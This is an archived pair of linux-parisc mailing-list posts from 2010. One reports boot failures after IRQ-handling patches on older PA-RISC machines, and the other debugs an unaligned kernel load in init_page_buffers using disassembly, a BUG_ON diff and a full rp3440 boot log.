Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PHjgY-0000zF-KL
	for glpp-linux-parisc@lo.gmane.org; Sun, 14 Nov 2010 22:00:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755473Ab0KNVAU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Nov 2010 16:00:20 -0500
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:39656 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1755535Ab0KNVAU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Nov 2010 16:00:20 -0500
Original-Received: (qmail invoked by alias); 14 Nov 2010 21:00:18 -0000
Original-Received: from p54AD0D70.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.13.112]
  by mail.gmx.net (mp028) with SMTP; 14 Nov 2010 22:00:18 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18n5o4gqTAnwpuhauUrlFXRKjhCyorhRhKf0UuW0U
	/7l5xSpz6/mtxC
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101027 Fedora/3.1.6-1.fc13 Lightning/1.0b3pre Thunderbird/3.1.6
In-Reply-To: <20101014153931.GI24144@bombadil.infradead.org>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3232
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3232>

On 10/14/2010 05:39 PM, Kyle McMartin wrote:
> On Thu, Oct 14, 2010 at 05:31:27AM +0000, Kyle McMartin wrote:
>> commit 7da1272547ebe96982a42292dfc833457708f4da
>> Author: Kyle McMartin<kyle@dreadnought.i.jkkm.org>
>> Date:   Thu Oct 14 01:02:23 2010 -0400
>>
>>      parisc: kill __do_IRQ
>>
>>      Signed-off-by: Kyle McMartin<kyle@redhat.com>
>>
> So, I've killed our __do_IRQ calls... Could people please test this
> branch on a variety of machines? I've split up the changes so there's
> logical separation between converting the CPU interrupts, and the
> sub-interrupt sources (Superio, dino, etc.) so if your device fails
> to interrupt, you can just git revert that bit and test the CPU
> conversion while I fix it up.
>
> I *think* everything should be ok though, I've tested it on a500/rp3440
> class machines with iosapic, but not on anything older.
Hi Kyle,

I just got again a chance to boot up my b160L and 715/64 machines.

Both broke due to the IRQ changes. I did reverted all of your IRQ 
patches (based on current Linus head branch) and now they boot again.
Basically they just hang during the SCSI initialization (timeouts while 
detectings discs).

So, there is something wrong for Lasi/GSC and Dino busses....

Any idea?

Helge


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC in lba_pat_out8 on rp3440
Date: Sun, 14 Nov 2010 18:42:14 -0500
Organization: nrc.ca
Lines: 551
Approved: news@gmane.org
Message-ID: <20101114234212.GA20422@hiauly1.hia.nrc.ca>
References: <20101104153507.GA7198@lackof.org> <20101107193156.F14EF4E1C@hiauly1.hia.nrc.ca> <20101110033527.GA24762@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="AqsLC8rIMeq19msA"
X-Trace: dough.gmane.org 1289778153 8183 80.91.229.12 (14 Nov 2010 23:42:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 14 Nov 2010 23:42:33 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 15 00:42:23 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PHmDF-0007EL-KV
	for glpp-linux-parisc@lo.gmane.org; Mon, 15 Nov 2010 00:42:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755522Ab0KNXmU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Nov 2010 18:42:20 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2555 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755361Ab0KNXmS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Nov 2010 18:42:18 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1BF724F31; Sun, 14 Nov 2010 18:42:14 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101110033527.GA24762@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3233>


--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, 09 Nov 2010, John David Anglin wrote:

> On Sun, 07 Nov 2010, John David Anglin wrote:
> 
> > > In short, I'm skeptical this is a problem in lba_pci code.
> > > Much more likely to be a driver issue or possibly HW issue.
> > > I was pointing at the configs that booted on ion/ioz only to
> > > help rule out driver or HW issues. Feel free to use ion for
> > > testing this.
> > 
> > I agree.  I think the hpmc in the lba_pci code and the hpmc with
> > LBA debug messages enabled are likely related.  Do you have any idea
> > how the code could avoid shooting itself in the foot?
> > 
> > Do you think there is a SMP race in setting up the PCI bus.  I was
> > thinking of trying an identical UP build.  I believe that all processors
> > are enabled at the time the hpmc occurs.
> 
> UP kernels behaive differently.  Boot is hpmc'ing in handle_unaligned.
> The kernel dies in this block of code:
> 
> 00000000401218f4 <.L3^B18>:
>     401218f4:   e8 1f 11 35     b,l 40121194 <.L3^B2+0x20>,r0
>     401218f8:   db 85 0f e0     extrd,s ret0,63,32,r5
>     401218fc:   9f fc 20 10     cmpb,*= ret0,r31,4012190c <.L3^B18+0x18>
>     40121900:   36 7c 22 00     ldo 1100(r19),ret0
>     40121904:   bf fc 31 15     cmpb,*<> ret0,r31,40121194 <.L3^B2+0x20>
>     40121908:   34 05 3f ff     ldi -1,r5
>     4012190c:   34 16 00 00     ldi 0,r22
>     40121910:   50 d5 05 40     ldd 2a0(r6),r21
>     40121914:   50 df 05 30     ldd 298(r6),r31
>     40121918:   db 57 0b fb     extrd,u r26,63,5,r23
>     4012191c:   f2 75 00 7d     depd,z r21,60,3,r19
>     40121920:   00 1f 58 20     mtsp r31,sr1
>     40121924:   f2 a0 04 1d     depd r0,63,3,r21
> ->  40121928:   0e a0 50 d6     ldd 0(sr1,r21),r22
>     4012192c:   0e b0 50 d4     ldd 8(sr1,r21),r20
>     40121930:   96 73 00 80     subi 40,r19,r19
>     40121934:   01 73 18 40     mtsar r19
>     40121938:   d2 96 02 16     shrpd r22,r20,sar,r22
>     4012193c:   08 00 02 5c     copy r0,ret0
> 
> sr1 is 0 and r21 is 00000000c0000008, so I think we have an unaligned
> kernel load.  Not sure where it is coming from.

I've pretty much narrowed down where the unaligned load is.  It coming from
init_page_buffers.  I had to disable inlining of this function to simplify 
the code.

00000000401f9698 <init_page_buffers>:
    401f9698:   08 03 02 41     copy r3,r1
    401f969c:   08 1e 02 43     copy sp,r3
    401f96a0:   73 c1 00 88     std,ma r1,40(sp)
    401f96a4:   0f 40 10 dc     ldd 0(r26),ret0
    401f96a8:   c6 9c c0 e8     bb,>= ret0,14,401f9724 <init_page_buffers+0x8c>
    401f96ac:   db 5c 0b fd     extrd,u r26,63,3,ret0
    401f96b0:   bf 80 20 e8     cmpb,*<> r0,ret0,401f972c <init_page_buffers+0x94>
    401f96b4:   53 54 00 20     ldd 10(r26),r20
    401f96b8:   0f 40 10 dc     ldd 0(r26),ret0
    401f96bc:   db 9a 0b 9f     extrd,u ret0,60,1,r26
    401f96c0:   0b 40 28 a0     cmpclr,*= r0,r26,r0
    401f96c4:   08 14 02 53     copy r20,r19
->  401f96c8:   0e 60 10 dc     ldd 0(r19),ret0
    401f96cc:   c7 5c 40 72     bb,<,n ret0,1a,401f970c <init_page_buffers+0x74>

The problem seems to occur in accessing the page buffers for the page.
The above code has a BUG_ON checking the alignment of the page.  I then
added a BUG_ON to check the alignment of bh:

static __attribute__((__noinline__)) void
init_page_buffers(struct page *page, struct block_device *bdev,
                        sector_t block, int size)
{
	struct buffer_head *head = page_buffers(page);
	struct buffer_head *bh = head;
	int uptodate = PageUptodate(page);

	BUG_ON ((long)bh & 7);

However, with this BUG_ON the unaligned access doesn't occur...
The assembly code changes to:

00000000401f9698 <init_page_buffers>:
    401f9698:   08 03 02 41     copy r3,r1
    401f969c:   08 1e 02 43     copy sp,r3
    401f96a0:   73 c1 00 88     std,ma r1,40(sp)
    401f96a4:   0f 40 10 dc     ldd 0(r26),ret0
    401f96a8:   c6 9c c0 ea     bb,>=,n ret0,14,401f9724 <init_page_buffers+0x8c>
    401f96ac:   0f 40 10 dc     ldd 0(r26),ret0
    401f96b0:   db 94 0b 9f     extrd,u ret0,60,1,r20
    401f96b4:   9e 80 20 00     cmpb,*= r0,r20,401f96bc <init_page_buffers+0x24>
    401f96b8:   53 5a 00 20     ldd 10(r26),r26
    401f96bc:   db 5c 0b fd     extrd,u r26,63,3,ret0
    401f96c0:   bf 80 20 c8     cmpb,*<> r0,ret0,401f972c <init_page_buffers+0x94>
    401f96c4:   08 1a 02 53     copy r26,r19
    401f96c8:   0e 60 10 dc     ldd 0(r19),ret0
    401f96cc:   c7 5c 40 72     bb,<,n ret0,1a,401f970c <init_page_buffers+0x74>

There must be some kind of race in setting bh?  This is a UP build.
Any ideas.

I'm sure this came up before.  A different .config was used and the
problem disappeared.

However, the system didn't fully boot.  There was another unaligned
load in a ipv6 module.  I caught this because I still have the following
BUG_ON in unaligned.c:

dave@mx3210:~/linux/linux-2.6.36.y/arch/parisc/kernel$ git diff unaligned.c
diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
index 92d977b..f13ed88 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -212,6 +212,8 @@ static int emulate_ldd(struct pt_regs *regs, int toreg, int 
 
	DPRINTF("load " RFMT ":" RFMT " to r%d for 8 bytes\n", 
		 regs->isr, regs->ior, toreg);
+       BUG_ON (regs->isr == 0);
+
#ifdef CONFIG_PA20
		   
#ifndef CONFIG_64BIT

Do we need to emulate ldd in the kernel?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hpmc4.txt"

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.17 root@c3k Sun Mar  7 16:13:48 MST 2010
Skipping extended partition 6 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               1      31   f0 Palo
2              32     156   83 ext2
5             157    6832   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 6241289 bytes @ 0x48000

Command line for kernel: 'root=/dev/sda5 console=ttyS1 HOME=/ palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
Selected ramdisk: /initrd.img from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4550656 mediaptr 0x1000
Segment 1 load 005a39f0 size 399816 mediaptr 0x4589f0
Segment 2 load 00608000 size 184568 mediaptr 0x4bb000
Loading ramdisk 8307732 bytes @ 3f802000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.36+ (dave@mx3210) (gcc version 4.3.5 (GCC) ) #22 Sun Nov 14 16:17:49 EST 2010
unwind_init: start = 0x40493000, end = 0x404bb1d0, entries = 10269
WARNING: Out of order unwind entry! 00000000404940b0 and 00000000404940c0
WARNING: Out of order unwind entry! 00000000404940c0 and 00000000404940d0
WARNING: Out of order unwind entry! 0000000040494bf0 and 0000000040494c00
WARNING: Out of order unwind entry! 0000000040494c00 and 0000000040494c10
WARNING: Out of order unwind entry! 0000000040494eb0 and 0000000040494ec0
WARNING: Out of order unwind entry! 0000000040494ec0 and 0000000040494ed0
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008870 00000491 00000000 00000002 3e0505e7352af711 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000000100000000 End 0x000000027fdfffff Size   6142 MB
 2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
Total Memory: 10238 MB
initrd: 7f802000-7ffee414
initrd: reserving 3f802000-3ffee414 (mem_max 27fe00000)
Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2585095
Kernel command line: root=/dev/sda5 console=ttyS1 HOME=/ palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)
Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Memory: 10281572k/10483712k available (2891k kernel code, 202140k reserved, 1504k data, 184k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
      .init : 0x0000000040608000 - 0x0000000040636000   ( 184 kB)
      .data : 0x00000000403d2ca0 - 0x000000004054aec0   (1504 kB)
      .text : 0x0000000040100000 - 0x00000000403d2ca0   (2891 kB)
Hierarchical RCU implementation.
	RCU-based detection of stalled CPUs is disabled.
	Verbose stalled-CPUs detection is disabled.
NR_IRQS:128
Console: colour dummy device 160x64
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
                                 | spin |wlock |rlock |mutex | wsem | rsem |
  --------------------------------------------------------------------------
                     A-A deadlock:failed|failed|  ok  |failed|failed|failed|
                 A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
                    double unlock:failed|failed|failed|  ok  |failed|failed|
                  initialize held:failed|failed|failed|failed|failed|failed|
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
  --------------------------------------------------------------------------
              recursive read-lock:             |  ok  |             |failed|
           recursive read-lock #2:             |  ok  |             |failed|
            mixed read-write-lock:             |failed|             |failed|
            mixed write-read-lock:             |failed|             |failed|
  --------------------------------------------------------------------------
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
         hard-safe-A + irqs-on/12:failed|failed|  ok  |
         soft-safe-A + irqs-on/12:failed|failed|  ok  |
         hard-safe-A + irqs-on/21:failed|failed|  ok  |
         soft-safe-A + irqs-on/21:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
      hard-irq lock-inversion/123:failed|failed|  ok  |
      soft-irq lock-inversion/123:failed|failed|  ok  |
      hard-irq lock-inversion/132:failed|failed|  ok  |
      soft-irq lock-inversion/132:failed|failed|  ok  |
      hard-irq lock-inversion/213:failed|failed|  ok  |
      soft-irq lock-inversion/213:failed|failed|  ok  |
      hard-irq lock-inversion/231:failed|failed|  ok  |
      soft-irq lock-inversion/231:failed|failed|  ok  |
      hard-irq lock-inversion/312:failed|failed|  ok  |
      soft-irq lock-inversion/312:failed|failed|  ok  |
      hard-irq lock-inversion/321:failed|failed|  ok  |
      soft-irq lock-inversion/321:failed|failed|  ok  |
      hard-irq read-recursion/123:  ok  |
      soft-irq read-recursion/123:  ok  |
      hard-irq read-recursion/132:  ok  |
      soft-irq read-recursion/132:  ok  |
      hard-irq read-recursion/213:  ok  |
      soft-irq read-recursion/213:  ok  |
      hard-irq read-recursion/231:  ok  |
      soft-irq read-recursion/231:  ok  |
      hard-irq read-recursion/312:  ok  |
      soft-irq read-recursion/312:  ok  |
      hard-irq read-recursion/321:  ok  |
      soft-irq read-recursion/321:  ok  |
--------------------------------------------------------
144 out of 218 testcases failed, as expected. |
----------------------------------------------------
Calibrating delay loop... 1597.44 BogoMIPS (lpj=3194880)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 256
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 129 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 152 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 153 failed with error 1
CPU(s): 1 x PA8800 (Mako) at 800.006800 MHz
Setting cache flush threshold to 134c480 (1 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
LBA: Truncating lmmio_space [fffffffff0000000/fffffffffecffffe] to [fffffffff0000000,fffffffffe77ffff]
powersw: Soft power switch support not available.
bio: create slab <bio-0> at 0
vgaarb: device added: PCI:0000:e0:02.0,decodes=io+mem,owns=io+mem,locks=none
vgaarb: loaded
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 524288 (order: 10, 4194304 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 7, 524288 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
UDP hash table entries: 8192 (order: 6, 262144 bytes)
UDP-Lite hash table entries: 8192 (order: 6, 262144 bytes)
NET: Registered protocol family 1
Trying to unpack rootfs image as initramfs...
Freeing initrd memory: 8113k freed
Performance monitoring counters enabled for Storm Peak Slow
Initializing RT-Tester: OK
VFS: Disk quotas dquot_6.5.2
Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
msgmni has been set to 20097
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
Linux agpgart interface v0.103
Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
0000:e0:01.0: ttyS0 at MMIO 0xfffffffff4051000 (irq = 72) is a 16450
0000:e0:01.1: ttyS1 at MMIO 0xfffffffff4050000 (irq = 72) is a 16550A
console [ttyS1] enabled, bootconsole disabled
console [ttyS1] enabled, bootconsole disabled
0000:e0:01.1: ttyS2 at MMIO 0xfffffffff4050010 (irq = 72) is a 16550A
0000:e0:01.1: ttyS3 at MMIO 0xfffffffff4050038 (irq = 72) is a 16550A
brd: module loaded
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
mice: PS/2 mouse device common for all mice
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
TCP cubic registered
rtc-generic rtc-generic: setting system clock to 2010-11-14 21:32:16 UTC (1289770336)
Freeing unused kernel memory: 184k freed
Loading, please wait...
mount: mounting none on /dev failed: No such device
W: devtmpfs not available, falling back to tmpfs for /dev
SCSI subsystem initialized
sym0: <1010-66> rev 0x1 at pci 0000:20:01.0 irq 69
sym0: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
scsi 0:0:0:0: Direct-Access     FUJITSU  MAJ3364MC        HP12 PQ: 0 ANSI: 2
scsi target0:0:0: tagged command queuing enabled, command queue depth 16.
scsi target0:0:0: Beginning Domain Validation
scsi target0:0:0: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
scsi target0:0:0: Ending Domain Validation
sym1: <1010-66> rev 0x1 at pci 0000:20:01.1 irq 70
sym1: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.3
tg3.c:v3.113 (August 2, 2010)
sd 0:0:0:0: [sda] 71132960 512-byte logical blocks: (36.4 GB/33.9 GiB)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FUA
 sda: sda1 sda2 sda3 < sda5 sda6 sda7 >
sd 0:0:0:0: [sda] Attached SCSI disk
tg3 0000:20:02.0: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:16:4d
tg3 0000:20:02.0: eth0: attached PHY is 5701 (10/100/1000Base-T Ethernet) (WireSpeed[1])
tg3 0000:20:02.0: eth0: RXcsums[1] LinkChgREG[0] MIirq[0] ASF[0] TSOcap[0]
tg3 0000:20:02.0: eth0: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
Begin: Loading essential drivers ... done.
Begin: Running /scripts/init-premount ... done.
Begin: Mounting root file system ... Begin: Running /scripts/local-top ... done.
Begin: Running /scripts/local-premount ... done.
EXT3-fs: barriers not enabled
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda5): mounted filesystem with writeback data mode
Begin: Running /scripts/local-bottom ... done.
done.
Begin: Running /scripts/init-bottom ... done.
INIT: version 2.88 booting
Using makefile-style concurrent boot in runlevel S.
Starting the hotplug events dispatcher: udevdudev[955]: starting version 163
.
Synthesizing the initial hotplug events...done.
Waiting for /dev to be fully populated...done.
Activating swap...Adding 979928k swap on /dev/sda6.  Priority:-1 extents:1 across:979928k 
done.
Checking root file system...fsck from util-linux-ng 2.17.2
/dev/sda5: clean, 46558/427392 files, 450409/1708906 blocks (check in 5 mounts)
done.
EXT3-fs (sda5): using internal journal
loop: module loaded
Cleaning up ifupdown....
Loading kernel modules...done.
Setting up networking....
Activating lvm and md swap...done.
Checking file systems...fsck from util-linux-ng 2.17.2
/dev/sda2: clean, 35/64256 files, 93165/128520 blocks
/dev/sda7: clean, 347218/1725136 files, 2210779/6895893 blocks (check in 3 mounts)
done.
Mounting local filesystems...EXT3-fs: barriers not enabled
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sda7): using internal journal
EXT3-fs (sda7): mounted filesystem with writeback data mode
done.
Activating swapfile swap...done.
Cleaning up temporary files....
Setting kernel variables ...done.
Configuring network interfaces...done.
Starting portmap daemon....
Starting NFS common utilities: statdtg3 0000:20:02.0: eth0: Link is up at 100 Mbps, full duplex
tg3 0000:20:02.0: eth0: Flow control is off for TX and off for RX
NET: Registered protocol family 10
lo: Disabled Privacy Extensions
.
Cleaning up temporary files....
Setting console screen modes and fonts.
cannot (un)set powersave mode
Running scripts in rcS.d/ took 19 seconds.
INIT: Entering runlevel: 2
Using makefile-style concurrent boot in runlevel 2.
Starting portmap daemon...Already running..
Starting NFS common utilities: statd.
Starting enhanced syslogd: rsyslogd.
Starting deferred execution scheduler: atd.
Starting system message bus: dbus.
Starting periodic command scheduler: cron.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
svc: failed to register lockdv1 RPC service (errno 225).
Starting internet superserver: inetd.
Exporting directories for NFS kernel daemon....
Starting NFS kernel daemon: nfsd mountd.
SpamAssassin Mail Filter Daemon: disabled, see /etc/default/spamassassin
------------[ cut here ]------------
kernel BUG at arch/parisc/kernel/unaligned.c:215!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Not tainted
r00-03  000000000804000f 000000007ef35920 0000000040119780 000000007ef35c70
r04-07  000000001c533000 000000007ef355e0 000000007ef355e0 000000007ef35434
r08-11  000000007ef3542c 000000007d216cf8 000000007cfe13a8 00000000000000e8
r12-15  000000007cfe12c0 0000000000000000 0000000000000001 00000000b41aa62a
r16-19  000000007ef355e0 000000004059faa0 000000007f88e048 000000000c000000
r20-23  0000000024000000 000000007ef3542c 0000000000000000 0000000000000006
r24-27  000000007ef3541c 0000000000000001 000000000f3010f3 00000000405e9db0
r28-31  0000000000000000 000000007ef35c40 000000007ef35e90 000000000c0010c0
sr00-03  000000000000d800 000000000000d800 0000000000000000 000000000000d800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401219b8 00000000401219bc
 IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        0   CR30: 000000007ef34000 CR31: 886904b488140042
 ORIG_R28: 0000000000000000
 IAOQ[0]: .L320+0x3c/0x70
 IAOQ[1]: .L320+0x40/0x70
 RP(r2): handle_interruption+0x2a8/0x940
Backtrace:
 [<0000000040119780>] handle_interruption+0x2a8/0x940
 [<000000001c57b460>] __tcp_v6_send_check+0xf0/0x1e8 [ipv6]
